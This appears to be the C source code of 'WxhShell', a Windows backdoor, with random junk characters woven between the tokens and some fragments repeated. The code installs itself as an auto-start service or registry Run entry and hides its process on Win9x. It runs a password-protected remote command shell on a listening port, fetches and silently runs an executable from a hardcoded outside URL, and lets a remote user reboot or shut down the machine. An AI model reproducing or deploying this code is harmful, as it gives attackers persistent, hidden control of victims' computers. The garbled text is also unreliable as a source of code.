mL[ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; k'(d$;Jgr &"_5?7_N HANDLE hProcess; v@qU<\Y> PROCESS_BASIC_INFORMATION pbi; ;$il_xA)\> aAT!$0H HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); CC,f*I if(NULL == hInst ) return 0; ,\%qERk {/u} g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); qD]&&"B g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Exu5|0AAE NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); WVa-0; O7})1|>1 if (!NtQueryInformationProcess) return 0; i(hL6DLD _NwB7@ e hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); D#8uj=/% if(!hProcess) return 0; ^yl)c
\` z\kiYQ6kA if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^8z~`he=_J p?6`mH CloseHandle(hProcess); EFk9G2@_ )XFaVkQ} hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I1Jhvyd?$ if(hProcess==NULL) return 0; 6Fe$'TP `!um)4 HMODULE hMod; i 6DcLE char procName[255]; ntZl(] l unsigned long cbNeeded; ru>c\X^| #Yd'Vve if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bJWPr L-,C5^ CloseHandle(hProcess); 'zUWO_( fzk^QrB if(strstr(procName,"services")) return 1; // 以服务启动 Zf,9 k".'C 3$~oQC return 0; // 注册表启动 2jT2~D.U1 } ?as1^~ U3 -cH // 主模块 CGp7 Tx # int StartWxhshell(LPSTR lpCmdLine) V_Xq&!HN[ { Q7{/ T0 SOCKET wsl; 7_G$& BOOL val=TRUE; mne?r3d int port=0; #X`qkW.T< struct sockaddr_in door; -Uj3?W ) 8_x if(wscfg.ws_autoins) Install(); Q)s`~G({P BYKONZu port=atoi(lpCmdLine); XwlF[3VbiX 3~ptD5@WF if(port<=0) port=wscfg.ws_port; nf2[hx@=U $xK*TJ(k
WSADATA data; |jhu if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; m\DI6O"u' \Ctl(uj if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Vx#n0z setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UVUoXv)N door.sin_family = AF_INET; ,ozgnhZY door.sin_addr.s_addr = inet_addr("127.0.0.1"); jqJ't)N door.sin_port = htons(port); u$MXO].Q 4\pUA4 if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Tw]].|^f- closesocket(wsl); B]lM69Hz return 1; t/KH` } ETMF.-P "oLY";0(= if(listen(wsl,2) == INVALID_SOCKET) { AEw~LF2w closesocket(wsl); T4e-QEH return 1; 1:j[p=Q& } VX+:C(m~ Wxhshell(wsl); b9L"?{ WSACleanup(); sVNM#, I$Ra*r return 0; SKdh!*G 5bHS| < } gY/p\kwsj H3Zsm)+: // 以NT服务方式启动 J};=)xLX; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fs 95^T { ;%YAiW8{Xk DWORD status = 0; (DTXc2)c DWORD specificError = 0xfffffff; z <jH{AU lWRRB&8 serviceStatus.dwServiceType = SERVICE_WIN32; F4|U\,g serviceStatus.dwCurrentState = SERVICE_START_PENDING; C4.g}q serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; sqE? U*8.- serviceStatus.dwWin32ExitCode = 0; ]N4?*S*jd) serviceStatus.dwServiceSpecificExitCode = 0; nf,u'}psdJ serviceStatus.dwCheckPoint = 0; ~}@cSv'(1 serviceStatus.dwWaitHint = 0; ^)i1b:4 B4kJ 7Pdny hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); XR@C^d if (hServiceStatusHandle==0) return; {IG5qi?/E) 1c19$KHu status = GetLastError(); abw7{%2 if (status!=NO_ERROR) C9Xj)5k@R { 6 66f;h serviceStatus.dwCurrentState = SERVICE_STOPPED; +hL%8CVU M serviceStatus.dwCheckPoint = 0; =*'K'e>P3 serviceStatus.dwWaitHint = 0; YCI-p p serviceStatus.dwWin32ExitCode = status; Pgo^$xn'6 serviceStatus.dwServiceSpecificExitCode = specificError; V
3yt{3Or SetServiceStatus(hServiceStatusHandle, &serviceStatus); FI=]K8 return; (;T g1$ } EpdSsfDP }\oy%]_mY serviceStatus.dwCurrentState = SERVICE_RUNNING; UtzM+7r@ serviceStatus.dwCheckPoint = 0; 2(s-8E:
serviceStatus.dwWaitHint = 0; t`
f.HJe if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Re]7G.y } y=qiGi[Nc dOx0'q"Z // 处理NT服务事件,比如:启动、停止 /^9K Zj VOID WINAPI NTServiceHandler(DWORD fdwControl) fb;y*-?# { yRtxh_wr9 switch(fdwControl)
6Sr}I,DG { cwC-)#R'] case SERVICE_CONTROL_STOP: 1J?x2 serviceStatus.dwWin32ExitCode = 0; 89+Q^79m serviceStatus.dwCurrentState = SERVICE_STOPPED; eUZvJTE serviceStatus.dwCheckPoint = 0;
#Ks2a):8 serviceStatus.dwWaitHint = 0; N799@:. { $^ZugD SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9yWQ}h } >j}.~$6dj_ return; m6iQB\ \ case SERVICE_CONTROL_PAUSE: e)):U serviceStatus.dwCurrentState = SERVICE_PAUSED; d7i 0'R break; W, -fnJk case SERVICE_CONTROL_CONTINUE: TZ>_N;jTZ serviceStatus.dwCurrentState = SERVICE_RUNNING; m0[JiwPI break; m)oGeD( ! case SERVICE_CONTROL_INTERROGATE: G~FAChI8![ break; sUTfY|<7| }; *-lw2M9V SetServiceStatus(hServiceStatusHandle, &serviceStatus); Lju)q6 } x17K8De Kq4b`cn{_ // 标准应用程序主函数 @/ G$
C9< int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )4CF*>*6V {
TD6MP9L s!eB8lkcT // 获取操作系统版本 9%6W_0> OsIsNt=GetOsVer(); %5rC`9^ GetModuleFileName(NULL,ExeFile,MAX_PATH);
bMDj+i _X"G( // 从命令行安装 Y2 QX9RN if(strpbrk(lpCmdLine,"iI")) Install(); n[tES6u H;k-@J // 下载执行文件 9S!
2r if(wscfg.ws_downexe) { #a|.cm>6 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) '~;vp WinExec(wscfg.ws_filenam,SW_HIDE); S :%SarhBD } na-mh
E,H p6|RV(?8 if(!OsIsNt) { MFqM6_ // 如果时win9x,隐藏进程并且设置为注册表启动 /KLs+^c5 HideProc(); 9n!IdqKN StartWxhshell(lpCmdLine); }n[<$*W^ } k%2Rv4)hU else 2GW.'\D if(StartFromService()) ML-?#jNa< // 以服务方式启动 SU80i` StartServiceCtrlDispatcher(DispatchTable); dWDM{t\}\ else jc-$l // 普通方式启动 8AQ@?\Rc"2 StartWxhshell(lpCmdLine); vAH `tPi> KDEcR return 0; ,[{Z_co } FdFN4{<QZ |xX>AMZc)D *C"-$WU3o 8sz|9~ =========================================== %9Y3jB",2 dRu|*s G
;fc8a[X {-Q=Y DR Trz41g TF7~eyLg " REc+@;B R}J}Qb #include <stdio.h> %IhUQ6 #include <string.h> Uk@'[_1z #include <windows.h> }<KQ+ #include <winsock2.h> F* h\ #? #include <winsvc.h> K%iA-h #include <urlmon.h> KVA~|j B AttS?TZr #pragma comment (lib, "Ws2_32.lib") &m8Z3+Ea #pragma comment (lib, "urlmon.lib") Dg~L" +:jx{*}jo #define MAX_USER 100 // 最大客户端连接数 V9cKl[ #define BUF_SOCK 200 // sock buffer =}^J6+TVL #define KEY_BUFF 255 // 输入 buffer P{ HYZg bz4TbGg] #define REBOOT 0 // 重启 {j!+\neL #define SHUTDOWN 1 // 关机 qrxn%#\XP oasEG6OI8 #define DEF_PORT 5000 // 监听端口 Eu)(@,]we ?X5Y8n]y\h #define REG_LEN 16 // 注册表键长度 }=T=Z#OgH #define SVC_LEN 80 // NT服务名长度 6l,oL'$}P1 %UnL,V9) // 从dll定义API n)xLEx, typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xG"*w@fs7 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eGr;P aG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); x-%4-) typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); | g[iK1 ~&\} qz3 // wxhshell配置信息 /CfgxPo struct WSCFG { &w"1VOV< int ws_port; // 监听端口 VsR8|Hn$ char ws_passstr[REG_LEN]; // 口令 L^><APlX int ws_autoins; // 安装标记, 1=yes 0=no DJ.n8hne char ws_regname[REG_LEN]; // 注册表键名 M>LgEc-v67 char ws_svcname[REG_LEN]; // 服务名 bWEti}kW char ws_svcdisp[SVC_LEN]; // 服务显示名 ;I@@PUnR char ws_svcdesc[SVC_LEN]; // 服务描述信息 h#o?O k char ws_passmsg[SVC_LEN]; // 密码输入提示信息 \#O}K int ws_downexe; // 下载执行标记, 1=yes 0=no guc[du char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \Jy/
a- char ws_filenam[SVC_LEN]; // 下载后保存的文件名 }?KfL$@$ kD.KZV }; bDq[j8IT6 j$ h>CZZ // default Wxhshell configuration BfOQ/k)) struct WSCFG wscfg={DEF_PORT, PTZ/jg@71 "xuhuanlingzhe", Z?"f# 1, 'PK;Fg\ "Wxhshell", W0_
pO "Wxhshell", 7ea<2va, "WxhShell Service", \:vHB! 2E "Wrsky Windows CmdShell Service", 6! .nj3$* "Please Input Your Password: ", HJ^SqSm 1, yNU.<d 5 "http://www.wrsky.com/wxhshell.exe", |18h
p "Wxhshell.exe" jPc"qER! }; {Z!x]}{M pS6p}S=1] // 消息定义模块 9hn+eU char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ExKjH*gn char *msg_ws_prompt="\n\r? for help\n\r#>"; 8DLj?M>N char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5%)<e- char *msg_ws_ext="\n\rExit."; HmQ.' char *msg_ws_end="\n\rQuit."; Z\. n6 char *msg_ws_boot="\n\rReboot..."; _'Rzu'$` char *msg_ws_poff="\n\rShutdown..."; tkjQSz char *msg_ws_down="\n\rSave to "; &Ay[mZQ 7 6)j4- char *msg_ws_err="\n\rErr!"; +0Z,#b char *msg_ws_ok="\n\rOK!"; J,SP1-L ]q pLaBD char ExeFile[MAX_PATH]; e:uk``\ int nUser = 0; ~dz,eB HANDLE handles[MAX_USER]; 2uZ4$_ int OsIsNt; R q
|,@ {Uj-x
- SERVICE_STATUS serviceStatus; )F,IPAA# SERVICE_STATUS_HANDLE hServiceStatusHandle; nkTpUbS'f? u(W+hdTap= // 函数声明 wY'w'%A? int Install(void); ?_V&~?r int Uninstall(void); 1XXuFa& int DownloadFile(char *sURL, SOCKET wsh); uw>O|&! int Boot(int flag); e !2SO*O void HideProc(void); orON)Sks int GetOsVer(void); qSA]61U& int Wxhshell(SOCKET wsl); l.nd Wv void TalkWithClient(void *cs); o7i>D6^^ int CmdShell(SOCKET sock); 5x? YFq6k int StartFromService(void); /?*GJN#
int StartWxhshell(LPSTR lpCmdLine); dYxX%"J O3K TKL] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -g\ ;B VOID WINAPI NTServiceHandler( DWORD fdwControl ); s{9G// CR8szMa // 数据结构和表定义 eEl71 SERVICE_TABLE_ENTRY DispatchTable[] = BL[N { CFTw=b@ {wscfg.ws_svcname, NTServiceMain}, oT0TbZu% {NULL, NULL} Cno+rmsfT }; 1Wr,E#+C Nbvs_>N // 自我安装 }5]2tH${ int Install(void) uEui{_2$ { AC&)FY char svExeFile[MAX_PATH]; m xEniy HKEY key; M~eXC strcpy(svExeFile,ExeFile); aM7=> )eD9H*mq // 如果是win9x系统,修改注册表设为自启动 (J 1:J if(!OsIsNt) { 'B\7P*L"p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f Hd|tl RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); VSjt|F)t RegCloseKey(key); (|9t+KP if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G$mAyK: RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /P%OXn$i/ RegCloseKey(key); 5_7y 1 return 0; Aw$+Ew[8 2 } [jEZ5]% } iu.v8I;< } B?
Z_~Bf& else { 9T#${NK K;Fs5|gFU // 如果是NT以上系统,安装为系统服务 lW|`8ykp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); W+Q^u7K if (schSCManager!=0) z3Zo64V~7 { Q].p/-[( SC_HANDLE schService = CreateService (Cb;=:3G ( of=N+
W schSCManager, Mj6
0?k wscfg.ws_svcname, MAQ(PIc>T wscfg.ws_svcdisp, lc[)O3,,B SERVICE_ALL_ACCESS, (L<qJd1Q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G
_-JR SERVICE_AUTO_START, hN^,'O SERVICE_ERROR_NORMAL, IqAML|C svExeFile, [9^lAhX NULL, ("KtJ NULL, lG5KZ[/Or NULL, '\M]$`Et NULL, 5=_bK^Am NULL hQ ?zc_3 ); fSF_O}kLp if (schService!=0) gY&WH9sp?9 { s[bQO1g;* CloseServiceHandle(schService); U8zCV*ag CloseServiceHandle(schSCManager); I%:\"g"c strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); U#Wg"W{ strcat(svExeFile,wscfg.ws_svcname); b/"gUYo if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >@)p*y.K RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $f?GD<}?7r RegCloseKey(key); v>0I=ut return 0; p""\uG' } J9-n3o } X;]Ijha<* CloseServiceHandle(schSCManager); \q@Co42n\ } bae;2| w } 8b!xMFF" AO238RC!: return 1; <? F-v } UC_o; )G),iy // 自我卸载 JNv@MJb} int Uninstall(void) "`NAg { ]P/i}R: HKEY key; #>M^BOR8 K7X*N if(!OsIsNt) { )FN\jo!!. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { eLIZ<zzW0} RegDeleteValue(key,wscfg.ws_regname); 2<9&OL RegCloseKey(key); Z!-V&H. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lK_T%1Gz RegDeleteValue(key,wscfg.ws_regname); :%_h'9Qq RegCloseKey(key); U@9v(TfV return 0; &F:%y(;{Y } WjguM } $R%tD.d3 } 6of9lO: else { S!rVq,| d 8*;>:g SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g/frg(KF if (schSCManager!=0) ;nrkC\SYh: { t$
97[ay SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *q"1I9zvT if (schService!=0) G.r .Z0 { gO{$p q} if(DeleteService(schService)!=0) { cJf&R^[T CloseServiceHandle(schService); )t((x CloseServiceHandle(schSCManager); l9e=dV:pH return 0; P?^%i } *j(UAVp CloseServiceHandle(schService); b;FaTm@ } }@"v7X $ CloseServiceHandle(schSCManager); v"o_V| } `=S%!akj } V qcw2 BiDyr return 1; |ZC'a! } T% GR{mp <Sr:pm // 从指定url下载文件 B}nT>Ub int DownloadFile(char *sURL, SOCKET wsh) KrR`A(=WL { LP !d|X HRESULT hr; -(7oFOtg char seps[]= "/"; m&yHtnt char *token; F"cZ$TL] char *file; 3xN_z?Rg char myURL[MAX_PATH]; gF`hlYD char myFILE[MAX_PATH]; Xvk+1:D ~^'WHuzPy strcpy(myURL,sURL); ?gBFfi token=strtok(myURL,seps); ~k%XW$cV while(token!=NULL) /;vHAtt;f { -BSO$'{7 file=token; D<:zw/IRE token=strtok(NULL,seps); X,c`,B03 } "_2;+@+ M)U)Sc zHO GetCurrentDirectory(MAX_PATH,myFILE); *2fJdY strcat(myFILE, "\\"); (&u'S+ strcat(myFILE, file); C\Z5%2<Z send(wsh,myFILE,strlen(myFILE),0); re,}}' send(wsh,"...",3,0); q6b&b^r+H hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); T9'HQu if(hr==S_OK) D^a(|L3; return 0; :wEy""*N0 else q&}+O return 1; i9V, c$lZ\r" } mN>(n+ly Q+/P>5O/ // 系统电源模块 x0%yz+i{: int Boot(int flag) $d,/(*Y#- { pFV~1W: HANDLE hToken; uH(M@7"6_! TOKEN_PRIVILEGES tkp; |Qb@. xj9xUun if(OsIsNt) { *K&
$9fah OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); F(ZczwvR LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >^IUS8v tkp.PrivilegeCount = 1; OG_v[ C5 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y2mSPLw AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); F>5b[q6~4 if(flag==REBOOT) { g[HuIn/ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^go3F{;4i return 0; 4CtWEq } yu@Pd3 else { `~_H\_JpO if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) |WpJen*?Y return 0; \j-:5M#m } Sx (E'?] } |qwx3 hQ? else { eKLE^`2*@ if(flag==REBOOT) { l_8ibLyo if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) F@#p return 0; .XVL JJ# } W`P>vK@= else { :."6 g)T if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I[?bM- return 0; 2[j`bYNe } lA;qFXaN> } K`60[bdp :6u.\u return 1; ]"?<y s } /1D.Ud^ i) Q
d>(v // win9x进程隐藏模块 5sj$XA?5 void HideProc(void) =;F7h
@: { \zwm:@lG s,pg4nst56 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U_.}V if ( hKernel != NULL ) m8G/;V[x { fU\;\ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); a, )/D_{1 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); f! )yE`4- FreeLibrary(hKernel); 'i: lV' } 86!$<!I DO9K return; f"NWv! } SG1AYUs
V g[uf
e< // 获取操作系统版本 O(9*VoD int GetOsVer(void) gjFQDrz( { #/8
Nav OSVERSIONINFO winfo; `B:hXeI winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1_]%, GetVersionEx(&winfo); TJ>1?W\Z if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vA[7i*D{w return 1; =P_*.SgR else Sfp-ns32%A return 0; y+V>,W)r7 } cM4{ e^ rYg%B6Fp // 客户端句柄模块 (ip3{d{CT] int Wxhshell(SOCKET wsl) pp{GaCi { 3`RI[%AN~ SOCKET wsh; *65~qAd struct sockaddr_in client; (
z F_< DWORD myID; \hb$v Ts|;5ya5m while(nUser<MAX_USER) 83p8:C.Ze { F1L[C4' int nSize=sizeof(client); &&m1_K wsh=accept(wsl,(struct sockaddr *)&client,&nSize); T|j=,2_ if(wsh==INVALID_SOCKET) return 1; =vriraV" q_L. Sy|) handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); !R#PJH/TM if(handles[nUser]==0) QFoCi& closesocket(wsh); tA'5ufj*: else .I $+
E nUser++; Q`4Ia<5B } }W[=O:p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h|ib*%P_ l<ZHS'-;8 return 0; 2R^Eea } 2+pXtP@O w>}n1Nc$G // 关闭 socket rY1jC\ void CloseIt(SOCKET wsh) @xso{$ z?j { eb6y-TwY closesocket(wsh); {ot6ssT=D nUser--; ~?)y'? ExitThread(0); AMO{ee7Po } L|1~'Fz#w g:U
-kK!i // 客户端请求句柄 yS[HYq void TalkWithClient(void *cs) IjXxH]2 { qSD3]Dv" B<$6Dj%L SOCKET wsh=(SOCKET)cs; -%K}~4J char pwd[SVC_LEN]; 5Z"N2D)." char cmd[KEY_BUFF]; Y%@;\ char chr[1]; L `=*Pwcj int i,j; ,JTyOBB<I FL&Y/5 while (nUser < MAX_USER) { P3Ah1X7W"C v |pHbX if(wscfg.ws_passstr) { aSJD'u4w.a if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kho0@o+'^ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "gDk?w //ZeroMemory(pwd,KEY_BUFF); qg<Y^y i=0; jHA(mU)b while(i<SVC_LEN) { HqV4!o9' olXfR-2>1 // 设置超时 |
>yc|W fd_set FdRead; >?G!>kw struct timeval TimeOut; ljz=u;O) FD_ZERO(&FdRead); EU'rdG*t/R FD_SET(wsh,&FdRead); 5$X 8|Ve TimeOut.tv_sec=8; q./jYe TimeOut.tv_usec=0; KZaiy*>) int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9;`hJ!r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XaoVv2=G~ 8,VEuBZ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }g|9P SbJ pwd=chr[0]; / T_v8{D if(chr[0]==0xd || chr[0]==0xa) { O`N,aYo pwd=0; O#>,vf$ break; :!fY;c? } 1]A\@( i++; G
Uh<AG*+ } V%C'@m(/SZ >fkV65w{* // 如果是非法用户,关闭 socket ?[WUix; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -yu$Mm } s&wm^R 3Q )" send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \8vZZ t send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); M9(lxu y1 "+
k}#<P4\ while(1) { Ys?0hd<cn A8AeM` ZeroMemory(cmd,KEY_BUFF); 1-.i^Hal 7qWa>fX // 自动支持客户端 telnet标准 /#L4ec-' j=0; - ku8n%u while(j<KEY_BUFF) { 9VIAOky- if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 2Qc_TgWF cmd[j]=chr[0]; 3RcnoXX_ if(chr[0]==0xa || chr[0]==0xd) { Z *v`kl cmd[j]=0; }>3jHWxLc break; at2)%V) } _.EM])b j++; pE0@m-p } vNZ"x)? e ]2GAJLI
// 下载文件 Z7?\ >4V if(strstr(cmd,"http://")) { 2uF'\y send(wsh,msg_ws_down,strlen(msg_ws_down),0); {W%XSE if(DownloadFile(cmd,wsh)) oL!C(\ERh send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4Yt'I#* else R+/kx#^ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W* n|T{n } gl2l%]=\' else { OF; "%IW~} &0d5".|s switch(cmd[0]) { T)eUo aqQ
U7 // 帮助 0j}@lOt( case '?': { (#qQ;ch send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); [g=4'4EZc break; ?f!&M } wARd^Iw // 安装 Kv#Q$$)r case 'i': { `nc=@" 1 if(Install()) fN9uSnu
send(wsh,msg_ws_err,strlen(msg_ws_err),0); TIF =fQ else Wi~?2-!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }b{7+ +
Ah break; 1p<*11 } li#ep?5h^ // 卸载 gnf4H
V~ case 'r': { 6J cXhlB` if(Uninstall()) wX!0KxR/Z send(wsh,msg_ws_err,strlen(msg_ws_err),0); SWT)M1O2 else "=$uv send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zW[HGI6w break; VmXXj6l& } >]Dn,*R // 显示 wxhshell 所在路径 N,F[x0&? case 'p': { 5UG"i_TC char svExeFile[MAX_PATH]; kp6 &e strcpy(svExeFile,"\n\r"); EQ"+G[j~x strcat(svExeFile,ExeFile); 'S9jMyZrZ send(wsh,svExeFile,strlen(svExeFile),0); !?K#f?x<? break; !|mzu1S } 6;M{suG| // 重启 _~2o case 'b': { e Dpt1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); SI=7$8T5=5 if(Boot(REBOOT)) Ldy(<cN send(wsh,msg_ws_err,strlen(msg_ws_err),0); ITz+O=I4R] else { 3XncEdy_ closesocket(wsh); >3I|5kZ6 ExitThread(0); ^t`0ul]c } y6H`FFqK break; [LV>z } Su+[Q6oC@ // 关机 L_M(Lj case 'd': { bJw{ U. send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w5t|C> if(Boot(SHUTDOWN))
Yq{R*HO send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8RS@YO else { @R`Ao9n9V closesocket(wsh); tK6=F63e ExitThread(0); 8}Q2!,9Q } bH%d* break; {.Brh"yC } aeEio;G1 // 获取shell '<6DLtZl case 's': { [88PCA: CmdShell(wsh); EbJc%%c closesocket(wsh); $Xs`'>," ExitThread(0); YmHu8H_Q break; o,/w E } Sb }=j;F // 退出 Kv ajk~ case 'x': { \Y6r
!D9 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 6yC4rX!a CloseIt(wsh); 0aJcX) break; f7;<jj;w7 } #W4
" ^#2 // 离开 T5dnj&N ] case 'q': { y<l(F?_ send(wsh,msg_ws_end,strlen(msg_ws_end),0); cXb&Rm'L closesocket(wsh); jZiz 0[ WSACleanup(); t"vkd exit(1); w=5<mw break; mgb+HNH%q\ } h:KEhj\d? } F4IU2_CnPD } )`mBvS.} Sf2xI' // 提示信息 Xwd9-: if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vz&88jt } x]IJ; } q RRvZhf r$Oa return; c IPOI'3d } AP ]`'C P#[?Kfi // shell模块句柄 >.uIp4@( int CmdShell(SOCKET sock) |w5,%#AeO$ { {TDZDH STARTUPINFO si; ((=T E ZeroMemory(&si,sizeof(si)); aYc^ 9*7 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *n6L3"cO si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~_wSB[z PROCESS_INFORMATION ProcessInfo; B#3Q4c$ char cmdline[]="cmd"; Q07&7SH_ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FB
%-$ return 0; FbXur- et^ } %8xK BL]J ,E"n 7*6mr // 自身启动模式 Tl1H2s=G- int StartFromService(void) SF da?> { v4XEp
typedef struct ClNuO { QZuKM 'D+ DWORD ExitStatus; \m=k~Cf:f DWORD PebBaseAddress; E;An':j DWORD AffinityMask; &q#.
> DWORD BasePriority; xtK\-[n ULONG UniqueProcessId; ` }B,w-,io ULONG InheritedFromUniqueProcessId; ')Y1cO } PROCESS_BASIC_INFORMATION; e$&n)>% F^5\w-gLY PROCNTQSIP NtQueryInformationProcess; F3L+X5D.yu LCuz_LTFq{ static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #5iy^?N"w static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [GcW*v yq[@Cw HANDLE hProcess; ZH~Wn#Wp PROCESS_BASIC_INFORMATION pbi; DcE4r>8B l(\F2_,2W HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?-tNRIPW@p if(NULL == hInst ) return 0; D
,[yx=' +=sw&DH g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
[X*u`J g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bD-OEB NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B>@l(e)b k$>5v +r0 if (!NtQueryInformationProcess) return 0; #WS>Z3AY `Jh<8~1 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _(I)C`8m if(!hProcess) return 0; L~RFI&b
